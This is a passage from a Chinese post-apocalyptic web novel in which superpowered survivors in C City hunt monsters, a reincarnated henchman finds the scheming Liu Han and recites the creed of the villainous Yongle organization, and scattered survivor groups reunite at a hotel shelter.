“总之，那直接导致了研究所刚建立就损失惨重，因为研究所虽然一开始就知道永乐这个组织的存在，但那时候大家都只觉得永乐只是一群无所事事的到处捣乱的末世混混，虽然首领的个人实力很强，但并不是那种有凝聚力的真的能做出什么大事的组织，所以研究所并没有想到需要认真防范他们。” “总而言之，那之后研究所重新改建了大部分防御工事，但是……反正也没起太大作用，改建一次被摸透一次。” “他们无奈之下开始向外界的异能者发起悬赏，以此阻挡永乐的攻击，因为他们自己的人手不足。” 陆燃安静地听着，等江朗停下来之后才问：“所以你想怎么做？提前杀了他？” 江朗眼中闪过一丝迷茫，这样的行事方法显然违背了他迄今为止的所有道德准则，仅仅是因为一个人以后有可能会造成巨大的威胁就提前杀死他吗……而且对方还是个有礼貌的孩子。 虽然他越有礼貌，江朗就越觉得毛骨悚然，因为永乐这个组织就跟一群超龄且超雄的中二病小孩一样，跟有礼貌这个词沾不上一点边，打进来的时候甚至哪怕知道研究所的构造也绝不偷袭，主打一个一定要吵到你眼前。 所以他在车上的第一反应就是这个小孩肯定是在伪装，是审时度势地在他们面前表现出让人心生同情怜爱的礼貌小孩的样子。 不过……他也觉得自己可能是应激了，因为一路看下来，这孩子真的看起来就是个很正常的小孩。 而且哪有那么多天生坏种，这个年纪的小孩，是非观未定，很有可能是后来才被影响的。 等等……对了！ 江朗突然坐直了身子：“永乐的首领，好像就是C市人！” 他猛地一拍手——这下合理了！ 一切突然都说得通了，肯定是这孩子在C市遇到了后来永乐的首领，然后就一路长歪了。 这也解释了他一个纯辅助系的异能者是怎么走出C市的。 他立刻转头对陆燃说：“我们还不能急着离开C市，得先把这个人找出来才行。” 陆燃自然无有不可，他们虽然原定计划是清理完一遍C市救完人之后就离开C市，毕竟这边不太适合长期生存，光是海洋里的污染物要不停上岸这一条就够让人心烦了，但是他也不介意多留一段时间，毕竟……也没什么事急着要做。 陆燃：“这个首领，他的异能是什么？” 知己知彼才能百战不殆。 江朗毫不犹豫地回答：“他能精准无误地看到任何人的异能，甚至可能比异能持有者本人都更了解这一异能的正确使用方式，他还能改变自己和对手的各项属性，诸如生命防御攻击力之类的，甚至还能封印对手的技能，是个非常，非常难缠的敌人。” 江朗用了两个非常来形容对方的难缠程度。 第45章 第 45 章 老大我总算找到你了！老…… “草！哪个龟孙啊！跟你爷爷抢怪？！” 张镇从这条街唯二两只污染物身上扒下了两枚一级晶体之后, 忍不住怒骂道。 虽然只玩了一点点《神域》，但是显然，这段短短的网游时光已经让张镇掌握了网游用词并开始在生活中熟练使用了。 他是真的出离愤怒了。 他在C市已经逗留了一个月。 由于他现在还没找到老大, 所以肉眼可见地还要留更久，但是, 从大约半个月前开始, 不知出于什么原因，C市的污染物密度就开始大幅降低。 而且不是那种正常的！污染物间决出了胜负的降低，因为剩下的三瓜俩枣的污染物都是低级污染物，他已经不知道有多久没见过三级以上的污染物了。 他感觉自己又一次被诈骗了。 本来想着晚点找到老大也没关系, 毕竟C市是个升级异能的好地方, 污染物密度高质量也高, 非常适合他在老大面前惊艳亮相。 但是！到底是哪个龟孙啊！ C市显然有人跟他抱着同样的想法, 因为他间歇性就能撞上一片被屠得连根毛都不剩的区域。 虽然他也想过会不会是老大做的，但是老大的异能虽然强悍, 却没有什么移动上的加持, 也不擅长群攻，杀污染物的速度不会太快, 老大的习惯一直是只挑一个地方最强的那个污染物收集晶体。 老大一向都说做事要有效率。 最关键的是, 老大不喜欢开车，上一世直到最后, 老大也没学过开车, 也就是说, 哪怕老大出来升级了, 也只会靠步行移动，而这些区域与区域之间有些间隔很远，所以就算其中有老大的杰作, 也估计只有很小一部分是。 C市肯定有别的异能者在跟他抢怪。 他越想越生气——那棵树怎么没毒死他们。 如果事情的发展跟上一世一样就好了，那棵树就是一个天然的收集器，他只要得到那棵树的晶体，就相当于拿到了小半个C市的晶体，哪用得着像现在这样，奔波辛苦，还不一定能有多少收获。 太憋屈了，这和他末世前每天上班的体验有什么区别？ 但是一想到在他之前搞定了这棵树的人大概率是老大，他就连在心里嘀咕都不敢了。 当务之急还是以最快的速度找到老大，然后询问老大的下一步计划。 老大啊老大……你到底在哪里？ 这种苦日子他是一天都过不下去了。 他要离开C市！ 大概是上天终于听见了他的祈祷，在苦苦寻找了一个月之后，他终于发现了老大的踪迹！ 张镇看着地上的污染物尸体，兴奋异常，因为面前这几具尸体，很明显是老大的手笔，地上的几只污染物身上都有一道潦草且很小的伤口，几乎会让人迷惑这伤口是怎么致死这么大一只污染物的。 而这就是老大的攻击方式，老大一直到最后也没怎么学习过该如何“出手”，因为能挡住他随手一击的人本来也不存在。 而这些伤口都还很新鲜，老大刚刚才来过这！而且走了没多久！ 老大！我来了！ 张镇一踩油门，冲了出去. 柳寒接过林诗琪递收集好并且递过来的晶体，下意识说了句谢谢。 林诗琪：“谢什么！我们是同伴嘛！” 织灵者脸上浮现出爽朗的笑容，柳寒克制住了自己想反驳的冲动——并非同伴，只是那个人强行要我带上你而已。 忍一忍吧。 他最擅长忍耐了。 谁让那位比他强呢？他只能遵守强者为他制定的规章行动。 而且不管怎样，这个人的游戏系统有一点真的很好用，收集晶体真的又快又好。 不过除此以外柳寒对林诗琪就主打一个处处不满，虽然从林诗琪的技能还有他的自述来看，他和那位强者应该共享一个游戏职业，不过他们两人的实力简直一个天上一个地下。 如果当初救下他的是林诗琪这个织灵者，那么对方大概顶多活到他从他口中套出关于那个游戏的所有信息为止。 是的，柳寒在遇到对方没多久后，就意识到了游戏的存在，一开始只是有些奇怪为什么对方的异能和那位强者相似度那么高。 在了解到这些技能都来自一个名叫《神域》的游戏后，柳寒花了一点时间从这个轻信的织灵者口中套出了大部分关于那个游戏的信息。 虽然“套出”这个词可能用得不太精准。 他最初确实做好了要耐心小心地一点一点从对方口中挖出消息的准备，但是他发现压根不用这么麻烦，他只是提了个话头而已，对方就跟八百年没和人聊过天一样，倒豆子一般讲起了《神域》这个游戏有多么多么好玩，制作有多么多么精细，和市面上其他妖艳游戏一点都不一样，简直就是世界上最好的游戏云云。 柳寒也从这一大堆废话彩虹屁中提炼出了自己所需的信息。 可惜了，他上学的时候虽然成绩不好，却没有怎么玩过游戏，不光是他妈妈不会允许他玩的原因，也是因为他本身对游戏不算太感兴趣。 因为游戏意味着虚拟世界，大家都遵守着一个不被现实世界承认的强弱体系，在游戏里再强，对他现实里是个失败者这一点也不会有任何改变。 因此，这是毫无意义的行为。 不过如果早知道的话这游戏能影响到现实，并且能让他在新的洗牌中获得显而易见的先发优势的话，他肯定会不管喜不喜欢都认真玩一玩这个游戏的。 真是太可惜了。 “回去吗？今天也没找到任何幸存者。” 林诗琪习惯性地问柳寒。 柳寒点点头：“嗯，回去吧，也不知道恩人他们救人救到哪里了，其实也许我们应该和恩人汇合并且汇报一下。” 顺便看看他们俩现在的实力对比。 林诗琪猛猛点头：“我也是这么想的！而且我想再向恩人道个谢！” 但是他随即又为难地问：“但是我们该去哪里找恩人呢……” 柳寒也有点沉默，虽然他的异能很有用，很强大，但也确实在找人这件事上没什么用处。 早知道当初就该向对方要个联系地点。 一时间，两个人的脸色有些为难，齐齐陷入了沉默。 “哈哈，也许有缘就撞上了！”林诗琪乐观地说道，“我们还是先前进吧！” 柳寒点点头：“嗯。” 于是两个人继续向前。 虽然其实明显可以感受到，C市现在的污染物密度非常非常低了，应该是恩人那边出手的效率太高了。 两个人安静地在空荡荡的C市街头上走着，末世前，这样的情景完全不可想象，C市太热闹了，不管什么时候出来，街上都全是人，大半夜的也不安静。 然后安静的街道上突然爆发出了一阵尖锐的爆鸣： “老大——！！！我终于找到你了——！！老大——！！” 柳寒下意识地捂了捂耳朵，觉醒了异能之后，他的听力和视力都好了很多，原本细微的声音在他耳朵里都清晰可闻，但是原本正常的声音就显得有些吵闹了。 更何况这种正常状态下都显得吵的动静。 真希望他的异能到后期能进化出可以调节听力大小的功能，没什么危险的时候，他真的不需要那么灵敏的听力。 不过不管怎么样，声音的来源倒也是现在这个时刻罕见的活人，他捂住耳朵后好奇地朝声音传来的方向看去，他还有些好奇这个人的“老大”是谁——是谁受得了这么吵闹的下属啊？ 然后他就看见，一个人一脸激动地直直地冲着他的方向跑来了。 然后一个急停在他面前刹住了车，掷地有声地又喊了一声：“老大！” 柳寒：“……” 不会吧？ 他努力掩盖住了自己的嫌弃，礼貌地说了一句：“抱歉，你可能是认错人了。” “不！老大！你就算烧成灰我也不会认错你的啊！” 柳寒：“……” 吵闹，且情商为零。 旁边的林诗琪好奇地探过头来：“柳寒，你什么时候收的小弟啊？” 柳寒差点维持不住自己脸上的微笑，强行忍着不要咬牙切齿地说出下面这三个字。 “我，没，有。” 就算有，也绝对不会是这种货色。 张镇看了眼说话的林诗琪，上下打量了一下。 不认识，估计是老大的临时小弟吧，后来组织里没见过这个人，按老大的习惯，估计是用完直接杀了。 那就是不需要注意的人。 “老大！我是你最信任的下属啊！难道你认不出我了吗？” 他想了一下，有道理哦，他遇见老大的时候，已经是末世后一两年了，那时候好的理发师太贵了——好的理发师指那种能剪出不狗啃的刘海的理发师——所以他干脆剃了个平头，这样就能自己理发了。 这样想着，他把额头前的头发全推到了后面，露出了一个长了好几颗痘痘的大脑门。 “老大，这样呢？你认出我来了吗？” 柳寒：“……” 张镇越看越觉得老大好像真的认不出他啊……难道说重生回来弄死了那株毒系污染物的不是老大？ 但是还会有谁？ 最好别是研究所那帮人，他眼中闪过了一丝杀气，如果真是研究所的人，那他就等死吧，这里可没有研究所那堡垒一般的层层防御工事，只要他能抓到人，那人就可以死了。 柳寒原本想直接转头就走，这个人……脑子可能不太好。 按照他的本心，他会很想杀了对方，但是按照那位强者给他制定的规则，他又需要在对方陷入危险时对他伸出援手。 那肯定是很糟糕的体验。 所以，不如趁着现在对方还安全走远点，眼不见心不烦。 但他的脚步突然一顿。 因为他看见了这个人和其他《神域》玩家一样长的技能介绍下最底部的属于他自己的异能。 在这个小标签里，如此对方是玩家兼异能者，标签会优先介绍该玩家掌握的该职业技能，异能则落在最底部。 因此，柳寒刚刚先看的是对方的游戏技能，而且因为是没见过的游戏职业，所以他读技能其实读得还挺认真。 嗯……是治疗啊，算是挑到末世里的好职业了。 这个叫“医生”的职业的技能他刚看到一半，又被对方的奇怪话语分去了心神，所以他现在才看到底部这个怪人自己觉醒的异能。 哦？ 空间系异能。 还是大范围杀伤性空间系异能，技能等级还很高，看来这一个月没少吸收那些怪物体内的奇怪晶体。 不过这个人自身没有在空间内任意移动的能力，所以他攻击到对方的概率还是很高的。 柳寒现在最希望的就是他能解锁改变对手和自己的移速的功能，这样他的唯一短板也能被一定程度上补足了。 如果拥有的是这样的异能的话，倒还算有资格做他的手下。 不过……他收手下有什么用？ 而且这个人的异能如果成长起来，未必不能对他造成一定的威胁，他真正该做的应该是把他趁现在弄死才对。 更何况，这种猪头不适合在末世生活下去。 只是……他烦躁地看了眼林诗琪，那位强者如果单纯只是让他一个人行动的话，或许他还能自由选择谁应该被救谁应该“不幸救不回来”。 偏偏有这么个人在旁边盯着他，他很难做一些想做的事。 果然还是得尽快变强，强到可以杀死那位强者的地步，然后他就可以按自己的想法安排所有人的命运了。 他想了想，既然这个人是自己贴上来的，那就先让他跟着，然后找个机会让他“意外身亡”好了。 这种大杀器放出去他还真不安心。 于是他扬起一个和善的微笑：“虽然我不知道你在说什么，我从来没见过你，但是这个环境……大家活着都不容易，不如你和我们结伴而行吧，大家一起行动也安全一点。” 他的微笑看上去不光和善，而且绝对真诚。 但是跟了他七八年的张镇看着这个熟悉的表情，就知道老大肯定在冒坏水了。 他略带兴奋地看了眼老大旁边的那个人。 ——难道说！老大其实不是没认出他？只是在演戏？而老大不认他的理由肯定就是旁边这个人，老大肯定是在假装好人，博取对方的信任，突破对方的心理防线，然后趁其不备……弄死对方！ 这个人虽然看起来又呆又傻，也不是很强的样子，但是老大的异能效果他是知道的，能清楚看见对方的所有技能与属性，不会给对方一点扮猪吃老虎的机会。 所以老大如果觉得自己需要偷袭才能赢的情况下，偶尔就会表现得特别和善。 原来是这样！ 他觉得自己悟了，给老大使了个“我懂的”的眼神，重重地应了声：“好！” 莫名其妙被使了个非常明显但看不出是什么意思的眼神的柳寒：？ 算了，傻子的想法弄不明白也不要紧，无关大局。 如果他有那种弄明白傻子的每个想法的习惯的话，光他旁边这位就够他一天天地没事做光琢磨了。 于是三个心思各异没有一个脑回路对得上的人就这样结伴同行了起来。 张镇有心在老大面前表现一下，污染物一旦出现在他们三人的视野内，就立刻被他清理了，压根没有另外两人出手的机会。 他的攻击范围也确实最远，毕竟只要他视线所及就是攻击范围。 柳寒和林诗琪倒也乐得清闲，他们两个出来主要还是看还有没有幸存者的。 “呼——呼——人！人！三位人！能救一下吗？！” 就在他们悠哉悠哉逛街一样走在C市的大街上时，远处一个街角突然窜出来了一个人。 明显是异能者，因为跑得过快了，普通人就算被熊追爆发潜能也跑不出这个速度。 张镇忍不住嗤笑一声——哪来的弱智？这可是末世！谁会救你？ 自己惹上的麻烦自己搞定，不够强就埋了吧。 这人一看就是个能力非常普通且弱小的异能者，因为追在他身后的那只污染物非常菜。 他嘴角扬起一个邪笑，等着看这个人呼救后却发现没人去救他时候的绝望表情。 他最爱看这些人在绝望中挣扎了。 真是美味的情绪啊…… 但是下一秒他就看见老大的动作快了起来，他旁边的那个人也跟着老大跑了上去，两个人非常熟练地打了个配合，一个放控制，一个削血量，然后随便一个攻击就送这个人身后的污染物归西了。 他们的配合看上去默契非常，一看就不是今天刚碰上，一看就是已经做了很多次类似的举动了，而且一看就知道老大才是主导。 张镇：“？” 张镇：“？？？” 老大，你为什么在救人？！ 还救得这么熟练？！ 第46章 第 46 章 全员汇合！ 张镇感觉自己要风中凌乱了。 他看看老大的背影, 又看看老大身边那个人的背影。 又看看老大的背影。 然后他看见那个被救的菜鸡满脸感激地说：“多谢两位！呼——好险好险！” 险什么？？险在哪？！ 这么菜的污染物都打不过你也别当异能者了，找条江跳了吧！ 张镇觉得自己简直出离愤怒了！ 老大为什么救了这么一个人！ 他左看右看，右看左看, 都觉得这个人菜得惊人啊！ 别说吸收进组织了，就连被组织的人特意杀的资格都没有吧！ 不是！ 为什么啊？！ 而且最重要的是, 老大到底为什么在救人…… 虽然老大说过如果重来一次, 他会以最快速度解决掉C市那棵树，给C市的异能者一个良好的环境。 但那绝对不是要特意救下这些异能者的意思。 那是要让C市的异能者在良好的环境里厮杀最后吸收适合他们组织的成员啊！ 老大当初的意思明明就是这样吧，就是要让他们体会到末世的乐趣的意思对吧！ 绝对不是“我们把所有人都救下来”吧！ 所以现在这到底是什么情况？ 他站在原地，凌乱得整个人都不好了。 不知过了多久, 他才呆呆地迈动双腿, 走到了老大身后。 然后他觉得还不如不来呢, 走这么近, 他们的对话清晰无误地传入了他耳朵里。 太清晰了。 “真的真的谢谢你们了，如果不是你们我今天就得交代在这里了……” “没什么, 这是我们应该做的。” 张镇：“……” 应该在哪？ “该怎么称呼……咦？你们好面生啊？之前好像没在酒店见过你们？是我们出门的时候都错开了吗？” 柳寒：“酒店？” 被救下来的那个异能者点头：“对呀！咦……？你们难道是野生异能者？那可——那可太好了！雅姐他们肯定会很高兴的！” “那你们跟我一起回去吧！我们在酒店搞了一个临时的聚居地, 大家轮流防卫守夜还有出去寻找幸存者，相对来说比其他地方都安全多啦！而且地下有好几个大超市, 物资很丰富哒！” “还有超厉害的两位异能者会定期清除酒店附近的污染物！所以真的是C市现在最棒的地方了！” 他卖力地宣传着自家酒店, 姿态非常殷勤，因此柳寒的第一反应是这人是个诱饵, 或许有人在诱骗落单的异能者。 或许在一群乌合之众看来, 再强的异能者也是双拳难敌四手, 所以想要试图通过围攻的手段来打劫一些高级异能者。 但是他很快又想了一下, 如果真有人这么做的话，至少不该透露自己这边有很多人才对，否则不是白白让对手提高警惕吗？ 更何况, 这个人怎么看怎么有种……和旁边的林诗琪一样的气质，一种发自内心想要在末世里维持末世前秩序的奇妙气质。 俗称傻白甜气质。 所以大概率他说的话是真的。 放下了一半警惕之后，他心中一动。 这个酒店……难道是那位强者建立的？ 听起来很像是他的做风。 于是他问道：“你说的很厉害的异能者，是不是一个很强的，类似于会放这样一个技能的人？” 林诗琪听到柳寒的话，立刻就反应过来了他的想法，不等柳寒转头示意他，当场就放了个精神链接，然后很快解除了。 他刚刚控污染物用的是小控，毕竟精神链接是大招，用的蓝比较多——他的蓝药需要省着用，但是那些小控不像精神链接那样有着花里胡哨的特效，所以他怕对方认不出自己和恩人是同一个职业。 在看见那银色的丝线后，对方立刻就激动了起来： “是的是的！你们怎么知道的？！” 林诗琪也激动极了——他们终于又有恩人的消息了！！ “因为我们也是被他救下来的！你们酒店在哪？！快带我们去吧！” 齐鸣恨不得立刻将这两人带到酒店，恩人如果能看见他以前救下来的人，应该也会很开心吧！ “走走走！这边这边！快跟我来！” 因为路还挺远，齐鸣顺便打听起了对方的末世“起源故事”。 “你们当初是怎么被救的？” 于是林诗琪和柳寒分别从自己的视角讲述了他们在医院遇见了那个强大的织灵者的故事。 林诗琪：“然后恩人就对我说，如果我真的想做什么的话，就去救其他人吧。” 柳寒：“嗯，他跟我说的话也差不多，只是多了一句如果看见一个穿着和他类似的人，就和这个人一起行动。” 林诗琪不知道为什么突然骄傲地挺起了胸膛：“就是我就是我！” 柳寒：“总而言之，这段时间内我们也救下了不少人，一部分也都安排在了比较安全的区域，不过可能没你们规模大，也没你们那么有明确的轮换制度，地点可能也没你们选的好，如果你们不介意的话，也许我们可以把大家带过来？” 柳寒在心底补充了一句，省得他还要每天去给这帮人找食物。 齐鸣听得大喜过望：“当然可以当然可以！我们一直以为我们就是C市所有的幸存者了！也不知道其他人在哪里，过得怎么样……这简直就是今天最好的消息了！” 他们三个在前面聊得其乐融融，张镇在后头听得满脸凌乱： 老大怎么可能会需要别人救啊！ 老大的实力可是在C市横着走的！ 就算假意被救，肯定也只是为了将对方引入陷阱中再让对方在气愤与绝望中死去而已，怎么会真的照着对方说的话做起救人的行当来了！ 他眼中杀气渐起。 杀！都杀了！ 老大已经不配他追随了！杀！ 这个不知道哪里冒出来的到处救人的蠢货！杀！ 这些软弱无能也敢自称异能者的人！杀！ 杀！杀！杀！ 全都杀了！ 但是他很快想起了一点。 ……他打不过老大。 偷袭也打不过。 老大本来就不需要反应速度这些东西，当你的血量高到一定程度的时候，任何偷袭都显得很没有意义，你大可以再慢一点，再慢一点找到偷袭者所在地，因为慢多少也无伤大雅。 他想起了自己第一次见到老大时的场景，那时候他还是个不知天高地厚的年轻人，觉得整个末世，天上地下，唯他最强。 然后他就看见一个瘦弱的人在路上慢悠悠地走着。 这个弱鸡似乎完全没有任何对危机的预感，他都已经盯上他了，他也只呆呆地走着，像是在想什么事一样。 就像学校里他最讨厌的那种书呆子，一个个都像是永远不在现实里一样。 然后他嘴角扬起一个残忍的微笑，他已经想象到这个人碎裂成一块一块的样子了。 于是他动手了。 只是结果和他想的不太一样，他的攻击确实到位了，那个人的身体像是被无形的细线密密麻麻地切割了一样，鲜血从割痕中渗出来，滴落在地面上。 那熟悉的血腥气本应让张镇无比享受。 但是那个人并未就这样碎成一块一块后倒下，他反而带着那种依旧有些迷茫的神情抬头向四周看了看。 张镇并未刻意掩盖自己的行踪，他从来都是在最显眼的地方攻击的，毕竟他不怕被发现，就怕受害者看不见是谁给了他们终结。 只是就算他那么显眼地站在旁边一栋楼的房顶，那个人也跟个瞎子一样，找了半天都没看见他在哪。 与此同时，张镇气急败坏又带了几分困惑地进行了一次又一次攻击。 无数空间之力降临在那个人身上，他身上的血痕越来越多，地面上的血简直要堆成一个小洼。 但那个人一点反应都没有，就任由血一直流，脸上连一丝惊慌都没有，也没有任何试图要止血的举动。 为什么他的血就跟流不完一样？ 张镇脑海中闪过这个念头的时候，那个人终于慢不知几拍地找到了攻击者，他抬头看向张镇，露出了一个笑容。 那个笑容无端让张镇感到一阵胆寒。 只是他很快就把这种胆寒抛在了脑后，那时候他早就已经习惯了在任何人任何污染物前无往不利，他怎么想都不觉得这么个弱鸡能对他产生任何威胁。 他将直觉向他的预警一次又一次压了下来。 因为他没法在这样一个奇怪的人面前逃跑。 毕竟，看看吧。 在发现了张镇之后，他都还是那副慢吞吞的样子，他甚至是选择走楼梯上来。 张镇想笑，但又笑不出声。 因为他对这栋楼了如指掌，他依旧在对对方进行攻击，他也知道自己的攻击绝对起效了。 只是，所有的这些攻击，都没能阻止那个脚步声一层一层向上。 “嗒。”“嗒。”“嗒。” 甚至不是清脆的脚步声，而是有种软趴趴的感觉的脚步声。 终于，“吱呀”一声，天台上的门被推开了。 那个人重新出现在了他的视野里。 他身上几乎没有一处完好的皮肤，全是血痕，有些已经干了，有些是新鲜的，他就像顶着一层血皮走出来，更关键的是，张镇知道自己的攻击绝不是那么浮于表面的攻击，这些血痕，全都是深到可以见骨的。 张镇不知道为什么有人这样还能活着，还能站着，其他人早该散落成一地血块了才对。 然后那个人朝他笑了笑。 那一瞬间，他生出了一种无比强烈的感觉——逃！逃！立刻逃！就现在！ 但是太晚了。 他感到自己突然变得虚弱无比。 他扭头看向天台下方——那原本是刚刚一瞬间最先出现在他脑海的逃生路线。 觉醒了异能之后，他的身体素质也有了极大的提高，至少这种三层楼的高度，跳下去绝对是毫发无损的。 所以他第一反应是直接翻下去，这样可以快速和对方拉开横轴和纵轴上的距离。 而且还很帅。 但是现在，他不知道这个念头是从哪冒出来的，但他就是知道，他不能再这么做了，从这跳下去他会死，甚至不需要这么找死，他随便在天台上绊倒颗石子都会死，他现在比玻璃制品还“易碎”。 这就是他和老大第一次见面时候发生的事。 张镇有些泄气。 他是不可能杀死老大的，没有一点儿赢的机会。 但是老大怎么会变成这样的呢…… 不行，他一定得找个机会和老大聊聊，看看能不能把老大劝回到正道上来. 几个人都是异能者，哪怕走得不紧不慢，很快也到了齐鸣口中的酒店。 柳寒的第一反应是——这么偏僻，怪不得他们从来没路过过。 这是一家建在游乐园旁边的酒店，吃游乐园客流量的那种。 设施看上去在末世前算一般，那么应该不是特意选择在这里建立聚居地的，最大概率是他们是游乐园或者干脆就是这个酒店的幸存者，然后就近住了下来。 且其中有普通人，不适合大张旗鼓地搬离，因为普通人转移起来很容易受伤。负责保护的异能者如果不够强大可能就会导致中途有减员。 酒店正门和侧门都各站着两个异能者，走来走去巡逻着，偶尔也会说笑，但显然没有放松警惕，他们一行人刚出现在街道末尾，他们的视线就投了过来，看见是人才松了口气。 一番观察后，林诗琪感觉这酒店确实比他和柳寒选的地方要更加适宜生存，主要视野开旷，毕竟附近是游乐场，全都是低矮的建筑，这两栋酒店就是附近的最高点，一旦有污染物出现，酒店里的人很容易就能发现。 而且物资也丰富，除了没自来水没电以外，几乎能持平末世前的大半生活水平。 林诗琪立刻扭头对柳寒说：“我们现在就把大家都迁过来吧！” 柳寒自然并无不可。 于是他笑着说：“好啊，那你回去带大家过来吧。” 林诗琪虽然实力一般，但织灵者的技能在保护上太好用了。 他就没必要去了，或者说他懒得去了，那个人随时会回来，而且……他看了眼那个奇怪贴上来的人，得找个什么意外让他去死比较好呢？ 机会很快就自己送上门来了，林诗琪刚出发，酒店的异能者刚分散开去做自己的事。 那个奇怪的人就光速走到了他身边，一脸接头的表情小声喊道：“老大？” 他这次没再否认，而是笑了笑：“嗯哼？” 张镇立刻兴奋了起来，他就说老大还记得他吧！刚刚一定是老大在演戏！老大这么做一定有他的理由！ 他立刻：“这里人多耳杂，老大我们出去说？” 柳寒眯着眼笑了笑，没有说什么，权当默认了对方这个称呼。 张镇立刻一马当先地走出了酒店大门，毫无必要但以一种鬼鬼祟祟地姿态走到了后面一栋大楼后。 然后他猛地转过身来：“老大！不用装了！这里就我们两个人！你也重生了对不对！那棵树是你弄死的对不对？！” 柳寒刚要动的手停了下来。 重生？ 他挑了挑眉，这个人比他想的有意思。 虽然也比他想象的要更蠢，就这样把自己重生的事随随便便地告诉别人。 而且，都重生了……他嫌弃地看了眼对方的游戏技能和等级，都重生了，才把游戏练到50多级，是多懒啊。 他没说话，只站在原地微笑着，等着对方继续主动把信息抖露出来。 “老大，有了上一世的经验，这一世我们两个一起将组织做大做强！提前将研究所那帮龟孙都扼杀在摇篮里！呃……虽然我都不记得有谁了，但老大你肯定还记得的对吧！” “话说老大，你混在这群人里干嘛？是有什么计划吗？需要我参与吗？” 柳寒如实回答：“有个比我厉害的人在这里。” 张镇睁大了眼睛：“怎么可能啊？！老大你的异能不是C市最强吗？呸……我这嘴笨的，应该说老大你的异能不是全末世最强的吗？！怎么可能还有比你更强的人！” “难道说……你指的是现阶段？老大你前期的异能哪些功能是锁着的来着？” “是不是现在还不能锁别人的技能？那可能确实有个别人能让你感到麻烦吧……” 张镇回忆了一下，老大的异能虽然进化得很快，末世来临后仅仅一年，也就是他正式离开C市的时候，就已经达到了六级，也就是已经解锁了他异能中最核心，也最让人闻风丧胆的能力——在一定时间内ban掉对手的一个技能。 这个逆天的沉默能力使得老大在末世中无往不利，基本没有任何敌手。 但是这个能力好像不是前期解锁的，所以现在的老大，还是不完全体？ 但是即使是这样，他还是很难想象有任何人能对老大造成任何威胁，更何况，老大上一世不就成功以最强者的身份从C市走出来了吗？ 不过他确实对老大在C市的那段经历没有任何了解啦…… 张镇的脑子在这咕噜噜地转着的时候，柳寒也在思考。 禁用技能？ 他虽然隐隐能感到自己的异能应该会解锁出更多的功能，不过禁用技能……这比他能想象的最好的效果还好。 有了这个能力，击败那个人也并非不可能。 甚至这也给他解答了另一个疑惑——为什么他会有这样一个手下。 根据对方的性格，以及话语中流露出来的信息，他建立的（假设是他建立的而非夺取的）组织是一个爱搞事的组织。 说实话，他并不喜欢这种大张旗鼓的做法，显得有些……危险。 并非愚蠢，只是很危险，毕竟这会引来相当多不必要的注意，再适者生存的环境，也总会有多事的自恃正义之士天天想着讨伐邪恶组织。 他为什么要没事做建立这么一个给他拉仇恨的组织？嫌自己命太长了吗？ 除非他本来就已经过于引人注目。 且足够强大。 那么对他来说，这个组织的最大目标其实应该是——确保这个能使他成为最强者的末世体系维持下去。 这样的话就合理了。 他一向是规则的拥护者，遵守者，不管这个“手下”是蠢到什么地步才将他的“维持末世秩序”的目标理解成了一些别的东西。 不过也许这也是他故意的，毕竟蠢人总是更好管一点。 柳寒觉得自己大致了解了情况。 那么这个人就先留着吧，如果所有推测都为真，那么他日后确实用得上这么一个下属。 张镇此时已经脑子转了一圈，然后他问道：“但是那应该也快了吧，老大你拿到那棵树的晶体之后，应该就已经至少五级了吧？” 柳寒这时候才慢悠悠地开口：“你真的是重生者？” 张镇：“嘎？是啊，老大你不也是……吗……？你……你不是？” 柳寒一脸无辜地摇了摇头：“其实我完全不知道你在说什么，不过你听起来很了解我的异能，我没有跟任何人透露过我的异能全部效果，所以……也许你真的是重生者？” 张镇感觉天都塌了。 不过柳寒的下一句话立刻将他从地狱拉回了天堂。 “你说的那个我们的组织，详细说说？” 张镇的双眼重新闪起了光芒，老大对他们的组织还是有兴趣的！ 好的！原来这才是他重生的意义——重生之我要引导老大回到正道并且成为老大最倚重的下属！ “我们的组织叫作永乐！这是老大您亲自取的名字，寓意是永远的极乐，我们的主要目标就是将末世持续下去，所有试图结束末世的人都是我们的敌人！所有不遵守末世规则的人也都是需要肃清的敌人！除此以外所有成员可以按自己的心意随心所欲行事，只要别把自己作死就行，因为活着才是末世中唯一的正义！如果有哪个成员把自己作死了，那就是他活该，后果自负，其他人无需为他报仇！” 张镇无比熟练地把他们组织的宗旨背了出来。 柳寒点点头，和他想的差不多。 张镇：“老大，怎么样？听完之后有没有热血沸腾，有没有很想重新建立一遍永乐的冲动？这一次有我作为您的左膀右臂，一定会比上一世更轻松更顺利！您已经拿到那棵树的晶体了的话——” “什么树？” 柳寒打断了张镇的话，从刚刚开始，对方就一直在提“那棵树”。 但是到底是什么树？ 张镇这一次是真的震惊了，甚至有些轻微的惊恐：“那棵树的晶体……不在您手上？” 柳寒：“虽然过去一个月里，我也有遇到过不少形态为‘树’的污染物，但是我觉得它们应该都没有特别到值得被多加注意或者被称为‘那棵树’。” 张镇：“C市植物园那棵箭毒木的晶体，不在你手上？” 柳寒摇了摇头：“不在。”. 江朗有些头疼。 C市再怎么样也是个城市，太大了。 想要满C市找一个人好困难。 就算他再想把威胁扼杀于摇篮之内，也不得不屈服于压根找不到人的现实。 “唉——唉——” 江朗仰天长叹。 陆燃：“实在不行也可以等他建立起那个叫永乐的组织之后我们再去找他。” 江朗：“那都不知道死了多少人了……” 陆燃耸了耸肩，倒也对。 就当顺便逛逛C市了。 也顺便喂一下他的异能，也就是那团火。 江朗一边收集晶体一边直接递给陆燃：“又来了几颗。” 陆燃：“你自己也留点，你的异能还没升级。” 江朗：“我这异能一时半会儿也用不上，现在能破我防的污染物都少，以后再升级呗，你这个……这个火苗看起来很能吃，先让它升级吧。” 江朗的用词是一点没错。 这团所谓的“地狱之火”真的太能吃了，陆燃都有点无语，他和江朗扫荡C市一整个月，搜集的晶体如果不是大部分都当天直接喂给了这团火，绝对能塞满两个人的背包。 他扔给这玩意儿的晶体都够喂出一个boss级污染物了，结果这团火……体型只长大了那么一点。 从一根手指的体型，长到了一只手的体型。 请问它要吃多少才能长到可以称之为一片“燎原野火”的程度呢？ 陆燃甚至有点怀疑给它喂晶体是不是一件很不划算的事。 江朗倒是很乐观：“它会讲话诶！肯定有什么特殊之处！我在末世十年从来没见过会讲话的异能！绝对是什么隐藏异能！” “也许会讲话就是它唯一的特殊之处。” “喂！本座可是很强的！” 火苗忍不住插话了，但是它吃晶体吃得实在太舒服了，反驳的语气都懒洋洋的，甚至一边说一边翻了个身。 陆燃：“……” 他很少生出想要揍一个非生物的心情。 非要说的话，这家伙有点像他以前在孤儿院的电视上看见的动画片里的那只加菲猫。 但是他就这么个异能，还能怎么办？又没法销号重来，只能凑合培养了。 